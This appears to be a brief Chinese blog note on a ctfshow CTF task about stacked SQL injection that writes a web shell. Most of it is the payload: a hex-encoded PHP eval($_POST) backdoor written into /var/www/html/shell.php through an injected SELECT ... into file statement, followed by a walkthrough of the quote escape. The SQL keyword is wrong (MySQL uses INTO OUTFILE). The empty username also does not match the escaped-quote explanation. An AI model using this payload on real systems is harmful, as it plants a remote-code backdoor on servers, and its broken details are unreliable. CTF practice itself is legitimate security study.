ctfshow-堆叠注入写Shell

看答案做了一下笔记

select * from account where username='' and password=''
单引号被禁用
username=
password=; select 0x3c3f706870206576616c28245f504f53545b315d293b3f3e into file "/var/www/html/shell.php";#

就变成了
select * from account where username='' and password='; select 0x3c3f706870206576616c28245f504f53545b315d293b3f3e into file "/var/www/html/shell.php";#'

MYSQL是这样进行理解的:
遇到了第一个', 开始找配对的另一个'
看到了', 被转义了, 不是MySQL所要的, 继续想后寻找
找到了, username='' and password='
这个时候,password的值就逃逸出来了:
; select 0x3c3f706870206576616c28245f504f53545b315d293b3f3e into file "/var/www/html/shell.php";#'
成功的执行了写入shell的操作

单引号绕过的两种手法:

  1. \转义
  2. 进制绕过

posted on 2026-01-16 20:48  misaki%20mei  阅读(0)  评论(0)    收藏  举报

导航